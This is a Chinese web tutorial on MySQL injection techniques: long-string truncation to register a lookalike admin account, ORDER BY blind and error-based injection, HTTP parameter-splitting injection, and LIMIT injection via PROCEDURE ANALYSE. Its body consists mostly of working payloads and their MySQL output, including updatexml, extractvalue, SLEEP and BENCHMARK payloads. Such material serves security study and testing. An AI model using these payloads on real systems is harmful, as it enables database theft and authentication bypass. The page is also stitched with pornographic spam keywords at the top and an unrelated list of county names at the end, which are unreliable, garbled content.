最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

mysql注入之長字符截斷,orderby注入,HTTP分割注入,limit注入方式

 更新時間:2023年11月13日 09:05:38   作者:Thunderclap_  
這篇文章主要介紹了mysql注入之長字符截斷,orderby注入,HTTP分割注入,limit注入方式,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教

長字符截斷/SQL約束攻擊

產(chǎn)生原因:在mysql中的一個設(shè)置里有一個sql_mode選項(xiàng),當(dāng)sql_mode設(shè)置為default時,即沒有開啟STRICT_ALL_TABLES選項(xiàng)時(MySQL默認(rèn) sql_mode為default),MySQL對插入超長的值只會提示warning,而不是error,這樣就會導(dǎo)致一些截斷問題。 

例如:

一個表的username字段類型為varchar(7) 長度最多7個字符。

那么我們插入的時候?qū)⒆址岣叩?字符以上,它只取前7位,并且會彈出warning。

利用漏洞:

假設(shè)管理員的登錄名為admin,那么我們可以注冊一個“admin ”后面有八個空格用戶即可輕易進(jìn)入后臺管理界面。

order by rand(True)   /order by rand(False)盲注

產(chǎn)生原因:原語句類似為$id=$_GET['sort'];     select * from users order by $id ;

利用漏洞:

  • 報錯注入?sort=1 and updatexml(1,if(1=1,concat(0x7e,version()),2),1)
  • 盲注 order by rand(True)和order by rand(False)的結(jié)果排序是不同的,可以根據(jù)這個不同來進(jìn)行盲注。

例如:

  • 布爾盲注:?sort= rand(database()='ujcms')
  • 返回了True的排序,說明database()='ujcms'是正確的值

  • 時間盲注 ?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
  • 執(zhí)行結(jié)果睡眠2秒

HTTP分割注入

場景:

參數(shù)為username&password,查詢語句為

select xxx from xxx where username='xxx' and password ='xxx';

但是username參數(shù)過濾了注釋符,無法將后面的注釋掉,則可嘗試用內(nèi)聯(lián)注釋把password注釋掉,湊成一條新語句后注釋或閉合掉后面的語句:

當(dāng)然這種注入的前提是單引號沒有被過濾

payload:username=1' or extractvalue /*'&password=1*/ (1,concat(0x7e,(select database()),0x7e))) or'

則查詢語句為

select * from users where username='1' or extractvalue /*' and password='1*/ (1,concat(0x7e,(select database()),0x7e)) or'';

過濾了空格,union,#,—+,/*,^,or,|

可以考慮將password作為函數(shù)的參數(shù)來閉合語句:

payload:username=admin' and(strcmp(&password=,'asdasdasdasdasdasd')) and '1

則查詢語句為

select * from users where username='admin' and(strcmp(' and password=','asdasdasdasdasdasd')) and '1';

strcmp比較,二者不一致返回True,一致返回False,而MySQL會將’1’判斷為數(shù)字1,即True,因此該查詢語句結(jié)果為True

limit注入

一般實(shí)際過程中使用 limit 時,大概有兩種情況,一種使用order by,一種就是不使用 order by關(guān)鍵字

不存在 order by 關(guān)鍵字

  • 執(zhí)行語句 select id from users limit 0,1; 
  • 這種情況下的 limit 后面可以使用union進(jìn)行聯(lián)合查詢注入
  • 執(zhí)行語句 select id from users limit 0,1 union select username from users;

存在 order by 關(guān)鍵字

此方法適用于5.0.0< MySQL <5.6.6版本,在limit語句后面的注入

limit 關(guān)鍵字后面還可跟PROCEDURE和 INTO兩個關(guān)鍵字,但是 INTO 后面寫入文件需要知道絕對路徑以及寫入shell的權(quán)限,因此利用比較難,因此這里以PROCEDURE為例進(jìn)行注入

使用 PROCEDURE函數(shù)進(jìn)行注入,ANALYSE支持兩個參數(shù),首先嘗試一下默認(rèn)兩個參數(shù)

mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
 
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

報錯,嘗試一下對其中一個參數(shù)進(jìn)行注入,這里首先嘗試報錯注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

不存在回顯怎么辦,延遲注入呀,如果 select version(); 第一個為5,則多次執(zhí)行sha(1)達(dá)到延遲效果,這里不支持使用 sleep,所以需要使用BENCHMARK進(jìn)行替代 

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

總結(jié)

以上為個人經(jīng)驗(yàn),希望能給大家一個參考,也希望大家多多支持腳本之家。

相關(guān)文章

最新評論

乐山市| 封开县| 南部县| 莆田市| 玉门市| 如东县| 满城县| 府谷县| 桃园县| 西乌| 湟源县| 汪清县| 石景山区| 深水埗区| 安顺市| 沙坪坝区| 黄山市| 阿克| 延津县| 基隆市| 贞丰县| 乡宁县| 桃园县| 桓台县| 木里| 新郑市| 富顺县| 伊通| 台州市| 大荔县| 塘沽区| 休宁县| 垫江县| 波密县| 五常市| 芦溪县| 威信县| 沽源县| 龙江县| 庆元县| 宜黄县|